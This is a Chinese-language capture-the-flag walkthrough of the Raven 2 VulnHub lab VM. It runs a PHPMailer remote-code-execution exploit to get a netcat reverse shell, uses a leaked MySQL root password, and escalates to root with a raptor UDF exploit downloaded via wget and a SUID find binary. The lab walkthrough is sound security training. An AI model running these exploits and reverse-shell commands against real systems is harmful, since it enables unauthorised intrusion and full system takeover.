0x01 靶场简介
Raven 2是中级boot2root VM, 有4个flag需要搜集,在多次被攻破后,Raven Security 采取了额外的措施来加固其Web服务器,以防止黑客入侵。您是否仍然可以攻破Raven?
靶场下载:https://download.vulnhub.com/raven/Raven2.ova
0x02 靶场渗透
1. flag1
使用Nmap探测靶机IP地址
代码语言:javascript复制nmap -sP 192.168.126.0/24
确定IP地址后,扫描开放的端口和服务
代码语言:javascript复制Nmap -p 1-65535 -T4 -A -v 192.168.126.15
得到开放的端口信息,80端口存在一个web服务
对网站信息收集,使用dirb进行目录扫描
代码语言:javascript复制dirb http://192.168.126.15/
该站点存在目录浏览漏洞
对目录文件进行排查,在vendor目录下的PATH文件里找到了第一个flag
2. flag2
接着在README.md里面看到了PHPMailer(一个功能齐全的PHP电子邮件创建和传输类)
在VERSION目录文件中得知PHPMailer版本号为5.2.16
PHPMailer < 5.2.18版本存在安全漏洞,可使未经身份验证的远程攻击者在Web服务器用户上下文中执行任意代码,远程控制目标web应用
在kali上利用searchsploit命令可以搜索到可利用的漏洞
将对应exp的py文件拷贝出来到当前目录下
代码语言:javascript复制cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./
先在攻击机kali(192.168.126.128)开启监听端口4444
代码语言:javascript复制nc -lvnp 4444
修改exp内容,主要修改受害目标地址以及需要接收反弹shell的地址,修改如下:
修改好后,执行脚本
代码语言:javascript复制python 40974.py
如果exp执行报错的话,就需要安装requests_toolbelt模块
代码语言:javascript复制pip install requests-toolbelt
如果提示编码报错,在exp第一行添加如下内容
代码语言:javascript复制# -*- coding: utf-8 -*
先访问 http://192.168.126.15/contact.php
,就会生成后门文件 shell1.php,再访问 http://192.168.126.15/shell1.php
,就成功反弹了一个shell到攻击机上
此时获取的shell并不是一个具有完整交互的shell,可以使用python提供的pty模块,创建一个原生的终端shell
代码语言:javascript复制python -c 'import pty; pty.spawn("/bin/bash")'
获取到完整的shell后,在目标主机上查找flag
cat查看flag2.txt内容
3. flag3
由于flag3.png是张图片,无法直接在命令行中查看。但是该图片在网站目录下,因此可以直接访问网站路径即可查看图片内容
4. flag4
进入wordpress文件夹里,发现其配置文件
查看wp-config.php的内容,发现了网站的mysql数据库wordpress,以及mysql的root密码R@v3nSecurity
利用获取到的账号密码,登录mysql
代码语言:javascript复制mysql -u root -pR@v3nSecurity
mysql的版本为5.5.6,可以使用UDF提权
在kali上使用 searchsploit mysql
命令找到利用exp
把该文件复制出来,在kali上进行编译生成so文件
代码语言:javascript复制cp /usr/share/exploitdb/exploits/linux/local/1518.c ./
gcc -g -c 1518.c
gcc -g -shared -o raptor_udf.so 1518.o -lc
在kali上起一个web服务,将生成的so文件提供给靶机下载
代码语言:javascript复制python -m SimpleHTTPServer 8888
在受害靶机上切换到tmp目录下,wget下载编译好的so文件
代码语言:javascript复制cd /tmp
wget http://192.168.126.128:8888/raptor_udf.so
进入数据库创建数据表 foo,向表中插入二进制数据,然后利用dumpfile函数把文件导出, 再新建存储函数do_system类型是integer,别名(soname)文件名字
代码语言:javascript复制mysql -u root -pR@v3nSecurity
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf.so'));
select * from foo into dumpfile '/usr/lib/raptor_udf.so';
create function do_system returns integer soname 'raptor_udf.so';
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';
create function do_system returns integer soname 'raptor_udf.so';
通过do_system函数给find命令所有者的suid权限,使其可以执行root权限的命令
代码语言:javascript复制select do_system('chmod u s /usr/bin/find');
代码语言:javascript复制touch finn
find finn -exec “bin/sh” ;
使用find执行 shell,最后找到第4个flag
代码语言:javascript复制find /root -name flag*